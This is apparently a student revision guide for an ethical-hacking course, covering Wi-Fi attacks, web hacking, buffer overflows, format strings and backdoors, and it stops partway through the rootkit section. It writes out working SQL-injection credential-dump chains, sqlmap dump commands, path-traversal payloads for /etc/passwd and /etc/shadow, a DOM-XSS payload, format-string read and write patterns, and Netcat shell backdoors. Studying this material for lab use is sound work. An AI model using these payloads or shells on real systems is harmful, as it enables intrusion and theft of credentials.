Everything examinable from the Wireless, Web Hacking, Binary Attacks, Maintaining Access, Covering Tracks and APT decks β explained properly, with analogies for the slippery bits and a trap list for the things that are easy to get backwards.
When: Week 12, 19 Nov 2026, 11 AM, on campus. What: topics from Weeks 8, 9, 10 and 11 β lectures and labs. Format: a combination of MCQ, MSQ (multi-select) and descriptive questions. Missed it? Apply for short leave with a valid reason; the re-test is in Week 13 and widens to Weeks 8β12.
A Service Set Identifier identifies a WLAN much the way a workgroup does on a Windows network. Memorise the spec exactly, because it is a perfect MCQ target:
| Frame | Who sends it | Why |
|---|---|---|
| Probe request | The station (client) | Sent when it needs information from another station β e.g. to determine which APs are within range. |
| Beacon | The Access Point | Sent periodically to announce its presence and relay the timestamp, SSID and other AP parameters. |
Client β probe. AP β beacon. If a question says "the station periodically beacons its SSID", it is wrong on both the sender and the verb.
With APs beaconing their information, walls are no longer barriers. A wired network has a physical perimeter you can lock; radio spills into the car park. Tools like Vistumbler let an attacker sit outside and enumerate everything in range.
An unmanaged (unauthorised) AP attached to the enterprise network β a significant potential backdoor. It is very easy to install one: modern operating systems help you share your internet connection, and plenty of software will turn a laptop into a software AP (Connectify). The intent is sometimes malicious, but it is just as often an unwitting, impatient employee who wanted better Wi-Fi at their desk.
What a rogue AP enables: attacks on the wired infrastructure (ARP poisoning, DHCP attacks, STP attacks, DoS), mapping the network for targeted attacks, scanning, and man-in-the-middle with data sniffing.
Solutions, and their honest limits: Network Access Control β not always effective, because MAC addresses can be spoofed β and scheduled periodic manual surveys.
A specific, nastier rogue AP. The recipe from the slides:
It works because most clients associate to the AP with the strongest signal. Once they do, the evil twin sees the network traffic of every associated client, and can additionally use MAC address spoofing to trick clients into sending passwords and sensitive information. Wi-Fi hotspots are easy bait.
Imagine a taxi rank where you've been told "get into the car marked CITY CABS." A fraudster parks an identical car with an identical sign right at the front of the rank, closer than the real ones. You don't check whether the car is really from the company β the company checks you (that you can pay). You get in willingly, and now the driver hears every phone call you make on the way.
This is the single most important "why" in the whole wireless deck:
The IEEE 802.11b standard by default stipulates one-way authentication: an AP authenticates a user, but a user does not authenticate an AP. That is precisely why a user cannot tell when an AP is not legitimate.
And to stand up an evil twin, the attacker needs the SSID of the trusted AP and to activate it without authentication. If the AP broadcasts the SSID (or uses the default one), the attacker can simply obtain it with a sniffer.
The attacker sets up a rogue AP, often as a Soft AP β software converts a laptop or USB Wi-Fi adapter into an access point (Virtual Router, Connectify). The soft AP broadcasts the spoofed SSID of the legitimate AP, and the attacker may even alter the MAC to that of the legitimate AP. The user connects assuming it's legitimate, and the attacker harvests personal information from the link.
Windows 7 introduced "SoftAP" for Internet Connection Sharing. The command on the slide:
netsh wlan set hostednetwork mode=allow ssid="ssid" key="passphrase" keyUsage=persistent
Soft AP configuration tools named in the deck: Virtual WiFi Router, My Public WiFi, My WiFi Router.
00-04-5a-03-3c-0f.The first 3 octets are the Organizationally Unique Identifier β they name the vendor. The last three are the serial number. The deck's examples:
| Vendor | OUI |
|---|---|
| Cisco (Aironet) | 00-04-96 |
| Agere (Orinoco) | 00-02-2D |
| Nokia | 00-e0-03 |
| Linksys | 00-04-5a |
Also worth knowing: BSSID (Basic SSID) is the MAC address of the access point. The Windows command to scan the neighbourhood and see it is netsh wlan show networks mode=bssid.
Allowing or denying access to a wireless network based on the hardware address of the connecting device. Only permitted MACs get on. The allow-list can live on the AP, or on a RADIUS server the AP talks to.
Why it is weak: MAC addresses are sent in the clear on wireless networks and can be sniffed, so it is relatively easy to discover the authorised addresses β and then simply become one.
| Method | Detail from the slides |
|---|---|
| Device Manager | Control Panel β View Network Status and Tasks β Change adapter settings. The first 2 characters must be "02" β this sets the b1 bit so the MAC is locally administered. (ipconfig /all to check.) |
| Registry | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0017\NetworkAddress |
| macchanger | The Kali Linux tool. |
| Technitium MAC Address Changer | The Windows GUI tool. (Also listed as a Rogue AP tool in the attack-techniques table.) |
The deck gives exactly two answers, and both are fair game as "select all that apply":
MAC filtering is a nightclub guest list checked against the name printed on your T-shirt, while everybody in the queue is wearing their name in large letters. Reading a valid name off someone else's shirt and printing your own copy takes a minute. It stops the casual passer-by and nobody else.
This is the densest, most examinable part of the wireless deck. Learn the cipher, key size, IV size and integrity check for each generation β that grid alone will answer a lot of questions.
| WEP | WPA | WPA2 | WPA3 | |
|---|---|---|---|---|
| Cipher | RC4 | RC4 (still) | AES-CCMP | AES + SAE handshake |
| Key | 40-bit or 104-bit | 128-bit | AES-based | β |
| IV | 24-bit | 48-bit (24 IV + 24 extended IV) | β | β |
| Integrity | 32-bit ICV (CRC-32) | 64-bit MIC (Michael algorithm) + ICV | CCMP MAC | β |
| Key mgmt | Static shared keys | TKIP | PMK β PTK / GTK | SAE |
| Standard | β | Subset of 802.11i | IEEE 802.11i, provides RSN | Latest and safest |
Based on the RC4 cipher. A secret key of 40 or 104 bits is combined with a 24-bit Initialisation Vector to encrypt plaintext M. The Integrity Check Value is computed as the CRC-32 checksum for M. The ciphertext:
C = [ M + ICV(M) ] XOR [ RC4(WEP Key + IV) ]
The IV is a "page number" that stops you encrypting two messages with the same page of the one-time pad. 24 bits is only ~16.7 million pages, and a busy AP burns through them in hours. Once two messages share a page, XOR-ing the two ciphertexts cancels the key out entirely and leaves you with the two plaintexts combined β the attacker never has to attack RC4 itself.
A subset of the 802.11i standard offering improved encryption and authentication (e.g. an IEEE 802.1X authentication server). Still RC4, but with 128-bit keys and a 48-bit IV that may be split into a 24-bit IV and a 24-bit extended IV.
| Pre-shared key (PSK) | IEEE 802.1X | |
|---|---|---|
| Keys | Every user given the same pass-phrase | Server distributes different keys to each user |
| Crypto | Uses TKIP β less secure than AES | Enhanced security and authentication |
| Preferred for | Personal mode β homes, small offices | Enterprise mode β business, government, education |
Uses AES-CCMP (Advanced Encryption Standard β Counter Mode Cipher Block Chaining Message Authentication Code Protocol). Authentication is similar to WPA (Personal and Enterprise) but AES-based, and it provides RSN β Robust Security Network.
RSN is delivered via 802.1X, which uses the Extensible Authentication Protocol (EAP), between three players: the Client, the Access Point, and the Authentication Server (AS). The exchange, in order:
The MK is agreed between the client and the AS, and the AS hands it to the AP inside Server Accept. The AP is a relay in the middle, not the thing that authenticates you.
PTK is the private line between you and the receptionist: nobody else on the floor can listen in. GTK is the building's PA system β everyone connected shares the same key because the message is meant to reach all of them at once. Unicast β PTK. Broadcast/multicast β GTK.
The exception that proves WPA2 isn't bulletproof, and a favourite exam question because it is not a cracking attack:
KRACK does not recover the Wi-Fi password and does not use a dictionary. Any option saying "brute forces the WPA2 passphrase" is wrong. Compare: the CommView + Aircrack-ng workflow is the dictionary-based one.
| Attack type | Description | Techniques / tools |
|---|---|---|
| Rogue AP | Installing an unauthorised AP, creating a potential access point into a trusted network | Virtual WiFi Router, My Public WiFi, My WIFI Router, Technitium MAC Address Changer |
| Wardriving | Discovering WLANs by listening to beacons or sending probes; provides a launch point for further attacks | Airmon-ng, DStumbler, KisMAC, MacStumbler, NetStumbler, Vistumbler, Wellenreiter, WiFiFoFum |
| DoS / DDoS | Deny service to a target using one or more attacking stations | HOIC, LOIC, XOIC, HULK |
| Key cracking | Capturing data to recover a WPA/WPA2 key | Aircrack-ng, airoway, AirSnort, Wireshark |
Anything ending in -stumbler (NetStumbler, Vistumbler, DStumbler, MacStumbler) is a wardriving / AP-discovery tool. Anything beginning with Air- is mostly key cracking (Aircrack-ng, AirSnort) β but Airmon-ng is in the wardriving row. The -OIC family (LOIC, HOIC, XOIC) is always DoS.
An attempt to deny access to one or more resources, usually by cutting off access to the service or network as a whole, typically achieved by flooding the system's or server's request queue with fake requests so the server can no longer handle legitimate users. In a DDoS, many computers attack the same target β attackers typically use a zombie network: a group of infected computers on which the DoS attacking tool has been installed.
Tools: LOIC (Low Orbit Ion Cannon), HOIC (High Orbit Ion Cannon), XOIC, HULK, Golden Eye.
Wired sniffing uses promiscuous mode; wireless adds monitor mode, and the distinguishing feature of monitor mode is capturing without associating with an AP. If an option says monitor mode requires you to join the network first, it's wrong.
These four tables are image slides, so they're easy to skip β and exactly the kind of thing that gets asked. Learn at minimum the tool β type of attack column.
| Tool | Description | Type of attack |
|---|---|---|
| AirSnort | Brute force WEP cracker | Encryption cracker |
| AirCrack | WPA cracker | Encryption cracker |
| Ettercap, dsniff, Wireshark | Packet sniffers with traffic analysis; also include tools to break encryption | Packet sniffing |
| Hotspotter, APsniff, APhunter, KNSGEM | Discovers WLANs by listening for beacon signals transmitted from APs | AP locator |
| HermesAP, OpenAP | Used to set up a rogue AP | Evil twin |
| OpenWRT, HyperWRT | Replacement firmware so APs can be programmed to execute attacks | Fake AP creation |
AirSnort = WEP. AirCrack = WPA. Swapping these two is the most likely distractor in the whole table.
| Tool | Description | Type of attack |
|---|---|---|
| Airpwn | Allows for generic 802.11 packet injection | 802.11 packet injection |
| File2air | Allows the specified file to be used as packet payload | 802.11 replay |
| AirJack, Simple-replay | Allows previously captured packets to be injected back into the network | 802.11 replay |
| Tool | Description | Type of attack |
|---|---|---|
| FakeAP | Generates thousands of 802.11 beacon signals | Flooding DoS |
| Void11 | Executes deauthenticate, authenticate and association flooding attacks | Flooding DoS |
| Many commercial tools | Jams the RF signal so it cannot be distinguished by a legitimate device | RF jamming |
| Tool | Description | Type of attack |
|---|---|---|
| BlueSmack | Issues a ping of death attack | DoS |
| BlueChop | Disrupts an existing piconet | DoS |
| BluePass | Causes a buffer overflow attack | DoS |
| BlueSnarf | Obtains unauthorised access to files | Bluesnarfing |
| BlueBump | Obtains the piconet key | Key bump |
Three of the five are DoS (Smack, Chop, Pass β they break things). The two that take things are Snarf (takes files) and Bump (takes the key).
Web client β HTTP request (cleartext or SSL) β firewall β web server β web apps β SQL databases. The reply comes back as HTML, JavaScript, VBscript etc. The named examples from the slide:
Traditional client-side hacking went after OS network services β WU-FTPD exploits, Sun RPC, NT IPC$ β and those hacks on OS network services can be prevented by firewalls. Internal back-end servers also sit on a non-routable private IP network. So the attacker's problem became: how do I get in at all?
The answer:
And the deck's punchline: essentially all that is needed is a web browser, an Internet connection⦠and a clear mind.
The firewall is a bouncer who searches everyone at the service entrance but waves through anyone carrying a pizza box, because pizza deliveries are normal and constant. Port 80 is the pizza box. You don't pick a fight with the bouncer; you just make your attack look like lunch.
| Component | What it is |
|---|---|
| Protocol | The defined procedure to exchange web pages, e.g. HTTP. |
| ID:password | Parameters required to access a secure server. Not recommended β the info is in plaintext. |
| Server name | Domain name of the computer hosting the resource. It is possible to use the server's IP address instead. |
| Port | Number associated with a service, telling the server what type of resource is requested. Default is 80. |
| Path | Access path to the resource β tells the server the resource location. |
The goal: identify the functionality of a web application to gain insight into its workflow, features and user interactions, which helps in identifying potential attack surfaces. The checklist:
mailto:.| Tool | What it does | Usage from the slides |
|---|---|---|
| WhatWeb | Enumerates the website β identifies what it's running | whatweb <website>; whatweb -v <website> for more verbose |
| DIG | Domain Information Groper β DNS querying, reverse DNS lookup | β |
| HTTP Header plugin | Chrome plugin for quick visualisation of request/response info | β |
| Burp Suite (Community Edition) | Free; the go-to tool for web app vulnerability assessment. Intercept and modify requests | Intercept On β add item to cart β examine/modify the packet β forward |
| HTTrack | Open-source website mirroring β work offline on the vulnerabilities, study structure better | β |
| wafw00f | Checks for a WAF β Web Application Firewall | β |
The lab example is the PortSwigger "excessive trust in client-side controls" logic-flaw lab β log in as wiener / peter, add an item to the cart, intercept the request and change the price value to 1, then forward all messages. The lesson: if the price is decided by the client, the client can decide the price.
The deck's local target is OWASP Juice Shop in Docker:
sudo systemctl enable docker
sudo systemctl start docker
docker run --rm -p 3000:3000 bkimminich/juice-shop
# then open 127.0.0.1:3000
And the scanner is wmap inside MSFConsole:
sudo systemctl status postgresql
sudo systemctl enable postgresql
sudo msfdb init
msfconsole
load wmap
wmap_sites -a http://<IP> # define the site
wmap_targets -t <URL> # add the target
Add the site first (wmap_sites -a), then set the target (wmap_targets -t), then run and list the vulnerabilities. Postgres must be up before msfdb init.
The deck builds the "Types of Web Hacks" slide up one layer at a time. Learn the ladder β it explains why these attacks are described as "part of a larger spectrum":
| # | Attack class | Root cause on the slide |
|---|---|---|
| 1 | URL Manipulation attacks | Web server mis-configuration β add ' or ;. Part of the larger spectrum of SQLI attacks. |
| 2 | URL Interpretation attacks | Hidden paths, DETURL.com, robots.txt |
| 3 | Input Validation attacks | Poor checking of user inputs. Part of the larger spectrum of SQLI and XSS attacks. |
| 4 | SQL Injection | Extend SQL statements |
products.php?id=-1.products.php?id=7&status=del.' or ; to provoke an error that reveals the backend.http://<root>/robots.txt), and it helps interpret the URL and reveal hidden paths.robots.txt is a request to crawlers, not an access control. Listing your secret admin directory in it tells every attacker exactly where to look. "There are a variety of methods to keep certain directories and files hidden" β robots.txt is not really one of them.
The mechanism: ..\ instructs the system to go one directory up. From C:\xx\yy\zz, to reach abc.txt in xx you type ..\..\abc.txt. It is ..\ on Windows and ../ on UNIX-like OSs.
The definition to quote: it exploits inadequate security mechanisms to access directories and files stored outside of the web root folder, and the vulnerability is the result of insufficient filtering/validation of browser input from users.
Classic targets from the cheat sheet slide:
/etc/master.passwd
/master.passwd
/etc/passwd
/etc/shadow%00
../../etc/passwd%00
../apache/logs/access.log
Two separate tricks here; keep them apart.
(a) Defeating an extension check. Some websites test whether the file has the correct extension, or append one themselves. This can be subverted by introducing a URL-encoded NULL byte β everything after it is removed β or a URL-encoded newline:
../../../../etc/password%00.jpg # NULL byte
../../../../etc/password%0a.jpg # newline
The check works because it is implemented by an API call that does not resolve URL encoding.
(b) Defeating a character blacklist. If the webserver disallows specific characters, try forward and backward slashes, then escalate through the encodings:
| Encoding | dot | forward slash | backward slash |
|---|---|---|---|
| Simple URL encoding | %2e | %2f | %5c |
| 16-bit Unicode | %u002e | %u002f | %u005c |
| Double URL encoding (encode the %) | %252e | %252f | %255c |
| Overlong UTF-8 Unicode | %c0%2e | %c0%2f | %c0%5c |
2e / 2f / 5c are the plain ASCII hex values. Put u00 in front for Unicode. Re-encode the leading % as %25 for double encoding. Prefix %c0 for overlong UTF-8. Same three characters, four disguises.
A code injection technique that exploits a vulnerability in the backend SQL database or web app. It happens when user input is not filtered for string literal characters embedded in SQL statements, or when the web application uses user-supplied data without proper input validation and encoding, as part of a command or query. Attackers submit specially crafted input to the SQL interpreter and trick the interpreter into executing unintended commands.
You phone a warehouse and read out an order from a form: "Send me the item named [whatever the customer typed]." The clerk can't hear the difference between the words you're quoting and the words you're instructing with. If the customer wrote "widget, and also ship everything to my address", the clerk just⦠does it. SQL injection is the database being unable to hear your quotation marks.
Add a ' to the password or username field. A system error caused by the password with ' shows the SQLI vulnerability β the unbalanced quote broke the query. Adding '' (two quotes) rebalances it and the error goes away, which confirms it.
Trace the three attempts from the demo, because the exam likes asking why attempt two failed:
| Input | Resulting query | Outcome |
|---|---|---|
vivek' -- | SELECT * From users WHERE username = 'vivek' -- AND password = '123' | Password check bypassed for username 'vivek' |
vivek' or 1 = 1 | ... username = 'vivek' or 1 = 1' -- AND password = '123' | Unbalanced ' causes errors |
vivek' or 1 = 1 -- | ... username = 'vivek' or 1 = 1 -- AND password = '123' | Password check bypassed for all users |
-- indicates a comment, so everything after it is ignored. Sometimes comments are defined by # or /*.
If the application wraps your input in brackets, you have to close them too:
<username>' --
<username>') or 1 = 1 --
<password>' OR 1 = 1 )#
' or 1 = 1 -- use ' or 'a' = 'a.' or 1 = 1)#.Notice the firewall sits between the attacker and the web server and is completely bypassed β the malicious payload travels inside a legitimate-looking HTTP form submission. The database trusts the application; the application trusted the user.
inurl:index.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:page.php?file=
inurl:portfolio.php?cat_id=
And in the Web Hacking 2 deck, for SQLI Hunter: inurl:".php?id=" intext:"View cart".
This sequence is heavily examinable. Learn what each command is for, not just its syntax.
| Goal | Payload | Key idea |
|---|---|---|
| Confirm vulnerability | ?cat=1' | Gives an SQL error |
| Count the columns | ?cat=1 order by N | ORDER BY n sorts by column n. Increment until it errors β at ORDER BY 12 it errors, so there are 11 columns ("Unknown column '4' in 'order clause'") |
| Find the vulnerable column | ?cat=-1 union select 1,2,...,11 | UNION SELECT combines the results of two or more SELECTs without returning duplicate rows. The negative number (-1) makes the first query return nothing, so the injected row is displayed β revealing vulnerable column 11 |
| Fingerprint the DB | ...,10,@@version | Returns SQL version 5.1.73, OS Ubuntu β could be MySQL |
| List tables | group_concat(table_name) from information_schema.tables where table_schema=database() | All data regarding the table structure is in information_schema |
| List columns | group_concat(column_name) from information_schema.columns where table_name='users' | Zoom in on the users table |
| Dump records | concat(uname,0x3a,pass,0x3a,email,0x3a,name) from users -- | 0x3a is the colon (:) used to separate the result; -- escapes redirection |
ORDER BY 12 errors β 11 columns (the error is at one more than the real count). And 0x3a = colon.
Juice Shop is the modern version of the demo, and the syntax differs because the backend is SQLite, not MySQL. The injection point is the REST endpoint http://localhost:3000/rest/products/search?q= β that is where your input lands in a raw SQL query, and all manipulation is done on that URL in the browser address bar.
Behind the scenes the server builds roughly:
SELECT * FROM Products
WHERE ((name LIKE '%apple%' OR description LIKE '%apple%')
AND deletedAt IS NULL) ORDER BY name
Which is why the escape prefix is ')) β you must close the quote and the two brackets. The chain:
| Goal | Payload after ?q= |
|---|---|
| Count columns | qwert')) ORDER BY 9-- works; ORDER BY 10-- errors β 9 columns |
| Fingerprint | qwert')) UNION SELECT 1,sqlite_version(),3,4,5,6,7,8,9-- |
| Enumerate tables | qwert')) UNION SELECT 1,name,3,4,5,6,7,8,9 FROM sqlite_master WHERE type='table'-- |
| Reveal user columns | qwert')) UNION SELECT 1,sql,3,4,5,6,7,8,9 FROM sqlite_master WHERE name='Users'-- |
| Dump credentials | qwert')) UNION SELECT id, email, password, '4','5','6','7','8','9' FROM Users-- |
MySQL uses information_schema.tables and @@version. SQLite uses sqlite_master and sqlite_version(). Getting these crossed is the single easiest way to lose a mark on this topic.
Why it keeps working: HTTP variables passed in the URL are easily accessible; attacks can also manipulate specific system variables; the web app may respond with detailed error information, which attackers use to discover more about the app and its backend.
The five organisational "core security problems": ignoring where sensitive information is stored and not understanding how it is at risk; underutilisation of existing network and web security tools (application-aware firewall, web vulnerability scanners); remediation without understanding what your tools are trying to tell you; assuming it's someone else's problem (responsibility deflected to the cloud); and misunderstanding the larger goals of the business and what management needs to hear and see.
The framing sentence from the deck: the attacker does not target the victim directly.
The attacker doesn't poison you; he poisons the restaurant's salt shaker. Everyone who eats there seasons their own food with it. The restaurant's good name is exactly what makes the poison effective β your browser trusts the code because of where it came from, not who wrote it.
| Attack | Mechanism named in the slide |
|---|---|
| Cookie theft | Access the victim's cookies using document.cookie, send them to the attacker's server, extract sensitive information like session IDs |
| Keylogging | Register a keyboard event listener using addEventListener and send all keystrokes to the attacker's server |
| Phishing | Insert a fake login form via DOM manipulation, set the form's action attribute to the attacker's server, trick the user into submitting |
| Type | Definition from the slide | Where the payload lives |
|---|---|---|
| Persistent | The vulnerable application stores (e.g. in the database) the attacker's code and presents it to its visitors | Server-side storage |
| Reflected | The vulnerable application simply "reflects" the attacker's code to its visitors | The request (URL / POST param / cookie) |
| DOM-based | The application includes pages that use untrusted parts of their DOM model (e.g. document.location, document.URL) in an insecure way | Never reaches the server |
DOM = Document Object Model, a convention for representing and working with objects in an HTML document.
Persistent (4 steps): attacker uses one of the website's forms to insert malicious script into the DB β victim requests website page β website includes the malicious script from the database and sends it to the victim β victim's browser executes it, sending the victim's cookies to the attacker's server.
Reflected (4 steps): attacker crafts a URL containing malicious script and sends it to the victim β victim is tricked into requesting the URL β website includes the malicious script from the URL in the response β victim's browser executes it.
DOM-based (5 steps): attacker crafts a URL containing malicious script β victim is tricked into requesting it β the website receives the request but does NOT include the malicious script in the response β the victim's browser executes the legitimate script in the response, which inserts the malicious script into the page β the browser executes the inserted script, sending cookies to the attacker.
DOM-based XSS is invisible to the server. The payload lives after the # in the URL fragment, which browsers never transmit. That's why it's 5 steps instead of 4 β there's an extra hop where the page's own legitimate JavaScript does the injecting for you.
The demo makes this concrete: the XSS triggers because the client-side script uses part of window.location to set the innerHTML of an element. The substring of location.hash (the string after the #) is passed as the argument to the chooseTab function, so the image src variable can be controlled:
https://xss-game.appspot.com/level3/frame#2'><img src=x onerror=alert(/DOM-XSS/)
The victim must either visit any page controlled by the attacker β which might include an invisible iframe pointing at the vulnerable site along with the payload β or click a URL link from the attacker, possibly obscured by a URL shortener. The payload can be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cookie β basically anywhere a user can supply input.
The four steps:
<img src=http://vuln/delete>.XSS steals your identity card. XSRF doesn't need it β it just shoves a form under your nose while you're already signed in and gets you to sign it without reading. The website can't tell the difference, because the signature really is yours.
XSRF requires the victim to already be logged in to the legitimate site. XSS has no such requirement. If a question hinges on "what must be true before the attack works", that's the discriminator.
action="http://localhost:8080/WebGoat/csrf/basic-get-flag").http://testphp.vulnweb.com/userinfo.php. The input fields are urname, ucc, uemail, uphone, uaddress.The SQLMAP command structure from the Juice Shop demo β note how it mirrors the manual steps:
sqlmap -u "http://localhost:3000/rest/products/search?q=apple" \
--prefix="')) " --suffix="-- -" --union-cols=9 \
--dbms=sqlite --technique=U --no-cast --batch --tables
# then dump credentials:
sqlmap ... --batch -T Users -C email,password --dump
And the older MySQL target, showing the classic three-stage drill-down:
sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
sqlmap.py -u ... -D acuart -T users --columns
sqlmap.py -u ... -D acuart -T users -C email,name,pass --dump
--tables β --columns β --dump. Database, then table, then columns, then records. It is exactly the manual information_schema chain, automated.
In C/C++ the program is responsible for its own memory management, which is very error-prone. The typical bugs:
Why it still matters: C and C++ are still popular (Microsoft Windows, Microsoft Excel, Linux, Mozilla, MySQL) and critical systems are written in C/C++ β OS kernels and utilities, high-performance servers like Apache and nginx, and embedded systems.
char buffer[4];
buffer[4] = 'a'; // buffer ends at buffer[3]
That is a buffer overflow: C lets you overwrite buffer[4] even though the buffer ends at buffer[3]. And the key sentence: if the data written is user input that can be controlled by an attacker, this vulnerability can be exploited.
Normally a program with this bug will simply crash. But an attacker can alter the situation so the program does much worse: steal private information (e.g. Heartbleed), corrupt valuable information, or run code of the attacker's choice.
Learn this stack of regions in order, with what lives in each. Addresses run from 0x00000000 at the bottom to 0xffffffff (4G) at the top.
| Region (low β high) | Holds | When it's fixed |
|---|---|---|
| Text | Instructions | Known at compile time |
| Initialized Data | static const int y = 10; | |
| Uninitialized Data | static int x; | |
| Heap | malloc(sizeof(int)); | Runtime |
| Stack | Local variables β int x; inside a function | |
| Cmdline & env | Command line and environment | Set when the process starts |
| Question | Answer from the slide |
|---|---|
| What data needs to be stored on a call? | Function arguments, return address, base pointer |
| Where does it go? | The stack |
| What needs restoring on return? | The stack state, from the stack |
For void foo(char *arg1, int arg2, int arg3) with locals loc1, loc2, the frame reads (low β high):
... | loc2 | loc1 | %ebp | %eip | arg1 | arg2 | arg3 | caller's data | β 0xffffffff
[ stack frame for foo ]
Locals β same order. Arguments β reverse order. This pair gets asked constantly and is easy to flip.
You can't know the absolute address at compile time, but the relative address of loc2 is always 8 bytes before the frame pointer (base pointer, %ebp). That is the entire reason the frame pointer exists.
| Register | Role |
|---|---|
%esp | Stack pointer β where the end/top of the stack is right now |
%ebp | Base / frame pointer β the fixed anchor locals and args are addressed from |
%eip | Instruction pointer β the return address is a saved %eip |
| Role | Steps |
|---|---|
| Calling function | Push arguments onto the stack in reverse β push the return address β jump to the function's address |
| Callee function | Push old frame pointer onto the stack (%ebp) β set %ebp to where the end of the stack is right now (%esp) β push local variables |
| Returning function | Reset the previous stack frame: %esp = %ebp, %ebp = (%ebp) β jump back: %eip = 4(%esp) |
The three-step version for setting up the callee, from the slide: (1) push %ebp β backing up the caller's base pointer on the stack; (2) set %ebp to the current %esp β %esp has changed because of step 1, so the top of the stack becomes the callee's base pointer; (3) set %ebp to (%ebp) at return β restoring the backed-up value.
void f(int x) {
char[8] buf;
gets(buf); // what if gets() reads more than 8 bytes?
}
void main() { f(β¦); β¦ }
void format_hard_disk(){β¦}
The frame is buf[0..3] | buf[4..7] | Return addr | x | main(). Write past buf[7] and you are writing into the return address. Since the returning function does %eip = 4(%esp), whatever sits there is where execution resumes β which is how the attacker redirects control to something like format_hard_disk().
Think of the return address as the forwarding address written on the back of an envelope before you post it into a sorting office. The local buffer is the letter inside. If the letter is longer than the envelope, the overflow bleeds through onto the back and rewrites the forwarding address β and the sorting office obediently delivers the mail wherever the new address now points. The office never questions the address; that's its whole job.
gets() specificallygets() has no way to be told how big the destination is. It reads until a newline, full stop. The function has no bound to check against, so the "bounds check" would have to be the programmer's discipline β which is exactly what the lecture means by "the program is responsible for its memory management."
Format string attacks are described as another way of corrupting the stack. Strings in C can contain special characters such as %s β these are format strings:
printf("Cannot find file %s", filename); // fine β one specifier, one argument
printf("Cannot find file %s"); // no argument supplied!
printf(string); // string is user-supplied β the bug
The deck walks it through with printf("%d %d %d", a, b, c). The arguments a, b and c are pushed onto the stack along with the format string, forming printf's stack frame. Now remove them:
printf("%d %d %d") β printf will take whatever values are available on the stack and print those as a, b and c. It has no way to know the arguments were never supplied; it simply walks up the stack reading whatever is there.
You hand a waiter a slip saying "read out the next three items on the list." You forgot to attach the list. The waiter doesn't stop β he just keeps reading down whatever page happens to be open on the counter, which is the kitchen's private order book. The number of % specifiers is how many lines he reads; he never checks that you actually gave him a list.
| Specifier | Effect | Security consequence |
|---|---|---|
%x | Reads and prints some bytes from the stack | Leaks sensitive data. Supplying a long run of %x %x %x β¦ will dump the stack |
%s | Reads the string at an address taken from the stack | Used with a crafted address to read arbitrary memory |
%n | Writes the number of characters printed so far onto the stack | This allows the attacker to corrupt the stack β it is what makes the bug potent rather than merely leaky |
%x and %s read. %n writes. The exam will ask which specifier allows writing to memory β the answer is always %n, and the thing it writes is the number of characters printed so far, not a value you pick directly.
By combining them, an attacker can try to control which address is used for reading from memory using %s, or for writing to memory using %n, with specially crafted format strings. The two patterns on the slide:
\xEF\xCD\xCD\xAB %x %x ... %x %s
β with the right number of %x, prints the string located at address ABCDCDEF
\xEF\xCD\xCD\xAB %x %x ... %x %n
β with the right number of %x, writes the number of characters printed
so far to location ABCDCDEF
The leading bytes are the target address placed on the stack as data; the run of %x specifiers is a counter that walks printf's argument pointer along until it lands exactly on those bytes. Then the final %s or %n acts on the address you planted.
\xEF\xCD\xCD\xAB addresses ABCDCDEF β the bytes are written in reverse because x86 is little-endian. If a question shows an address and a byte sequence, check they are mirror images.
The deck is emphatic that this one is easy: format string attacks are easy to stop and fix.
printf(str) // vulnerable β user data is the format string
printf("%s", str) // safe β user data is an argument
The principle generalises neatly to the rest of the module: the bug is always data being treated as instructions. In SQLi the user's string became part of the query; here the user's string became the format specification. The fix is the same shape both times β keep the user's data in the slot reserved for data.
| Backdoor | Detail |
|---|---|
| sendmail wizard | Debugging back door left in |
| Code Red worm | Trojan planted by the worm |
| Etumbot | APT back door β victims including media outlets, high-tech companies and a number of governments |
| Hikit | RAT used by cyber-espionage group Hidden Lynx (believed based in China) against U.S. defense contractors |
| Dridex | Trojan back door targeting online banking users in Romania, Aug 2015 |
The logic: attackers don't want to get caught, so they increasingly use stealthy backdoors. The key insight is that a backdoor does not need to wait listening on a port β a listening port shows up in a port scan and in netstat. Instead, a sniffer gathers traffic rather than listening to an open port.
| Type | Behaviour | Example |
|---|---|---|
| Non-promiscuous sniffing backdoor | Sniffs traffic for one target | cd00r |
| Promiscuous sniffing backdoor | Sniffs all LAN traffic | The DNS-server example below |
cd00r only starts listening on a pre-programmed port after a sequence of TCP SYN packets are received on a defined port list, and in the correct order. In the diagram: SYN to port X, SYN to port Y, SYN to port Z β after the SYN to Z is received, activate a temporary listener on port 5002 β attacker connects to a root shell on port 5002.
It's the secret knock on a speakeasy door. From the street the door looks like a blank wall β scan it all you like, there's nothing there. Only the right rhythm in the right order makes a doorman appear. Get the order wrong and nothing happens at all, so you can't even tell there's a door.
Worth understanding because of why it is clever: the backdoor is located on the DNS server, while all the packets are sent to the WWW server (which has no backdoor on it). The DNS server's backdoor sniffs promiscuously and picks up the commands meant for the web server. In a switched environment the attacker may use ARP cache poisoning to make that traffic reach them. The result: confusing for investigators β they analyse the machine that received the traffic and find nothing wrong with it.
A tool that can read and write to TCP/UDP ports. Installed on the victim's machine, the attacker can connect to it, chat with the victim, or execute a shell to access the internals. Learn these four invocations β flags and all.
| Purpose | Victim (listener) | Attacker (client) |
|---|---|---|
| Basic connection | nc -nlvp 6666 | nc -nv <IP> 6666 |
| File transfer (pushes a file to the victim) | nc -nlvp 6666 > store.out | nc -nv <IP> 6666 < malicious_file |
| Remote shell | nc -nlvp 6666 -e /bin/sh( cmd.exe on Windows) | nc -nv <IP> 6666 |
| Lab variant | nc -l -p 6996 -e cmd.exe | nc <victim's IP> 6996 |
Decoding the flags: -n no DNS resolution, -l listen mode, -v verbose, -p port, -e execute a program on connect. The -e flag is the one that turns Netcat from a networking utility into a backdoor: port 6666 is bound to /bin/sh and the output from the shell is redirected to the network.
Cryptcat = Netcat with Twofish encryption. Same functionality, encrypted channel β which defeats a network IDS watching for plaintext shell traffic.
A Trojan horse is any malicious computer program used to hack into a computer by misleading its true intent, named from the Ancient Greek story of the wooden horse in Troy. Typically aimed at taking control of a victim computer, stealing data, or inserting more malware.
weevely.py generate mypassword agent.php, copy the generated .php backdoor to xampp\htdocs, then launch the script to connect and get a remote shell.A type of Trojan that keeps itself hidden from detection and enables an attacker to have root / administrator access. What it actually does:
